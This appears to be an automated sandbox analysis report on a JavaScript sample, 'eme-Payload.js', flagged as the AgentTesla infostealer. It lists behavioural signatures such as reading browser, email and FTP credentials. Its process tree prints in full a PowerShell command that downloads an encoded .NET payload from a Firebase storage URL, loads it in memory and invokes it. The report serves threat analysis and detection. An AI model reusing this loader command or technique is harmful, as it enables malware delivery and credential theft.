Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/06/2023, 08:52

General

  • Target
    eme-Payload.js
  • Size 141KB
  • Sample230615-ks7zdafc86
  • SHA256 d607fc8cdc1aa81ee11f86a3a51c46af853429c1dd00b1bfb038d78c76e1b669
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/rumpe_js.txt?alt=media&token=0ebb3747-9f9d-427c-a6fd-d0c057ba176e

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\eme-Payload.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2144
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://firebasestorage.googleapis.com/v0/b/fir-8c14f.appspot.com/o/rumpe_js.txt?alt=media&token=0ebb3747-9f9d-427c-a6fd-d0c057ba176e'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('∞*▲◀(lifmaf∞*▲◀(m∞*▲◀(4*●*☞#:▶s∞*▲◀(lif4*●*☞#:▶758764}�ø▶6](∞ú(∞*▲◀(74}�ø▶0f6*(+ø(33896](∞ú(3683∞*▲◀(9*(+ø(4}�ø▶85∞*▲◀(a*(+ø(7](∞ú(53∞*▲◀(a4*●*☞#:▶9◀@+@░�@@6∞*▲◀(ER4*●*☞#:▶olylni∞*▲◀(mnuom4*●*☞#:▶sø☀☞√�}П�∞*▲◀(ppins4*●*☞#:▶0.(úø(@@*ú4*●*☞#:▶ipa!4*●*☞#:▶gro.ø☀☞√�}П�∞*▲◀(k!}(ú░}u*(+ø(ø☀☞√�}П�i*(+ø(4*●*☞#:▶4*●*☞#:▶▶☟ð}↓→+◀spø☀☞√�}П�ø☀☞√�}П�↓*(▲☟@*⇝','1No1me_Startup','2No3me_3tartup'))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2716
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
          PID:3332
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          3⤵
          • Accesses Microsoft Outlook profiles
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          • outlook_office_path
          • outlook_win_path
          PID:1260

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          __PSScriptPolicyTest_otkgcgvy.k3m.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_otkgcgvy.k3m.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1260-152-0x0000000006C10000-0x0000000006C60000-memory.dmp

          memory/1260-146-0x0000000000400000-0x0000000000430000-memory.dmp

          memory/1260-149-0x0000000005CE0000-0x0000000006284000-memory.dmp

          memory/1260-150-0x0000000005730000-0x0000000005796000-memory.dmp

          memory/1260-151-0x00000000056A0000-0x00000000056B0000-memory.dmp

          memory/1260-153-0x0000000006E30000-0x0000000006FF2000-memory.dmp

          memory/1260-160-0x0000000006D80000-0x0000000006E12000-memory.dmp

          memory/1260-161-0x0000000006D40000-0x0000000006D4A000-memory.dmp

          memory/1260-162-0x00000000056A0000-0x00000000056B0000-memory.dmp

          memory/2716-134-0x000001AFBF210000-0x000001AFBF232000-memory.dmp

          memory/2716-144-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp

          memory/2716-145-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp

          memory/2716-133-0x000001AFBF3A0000-0x000001AFBF3B0000-memory.dmp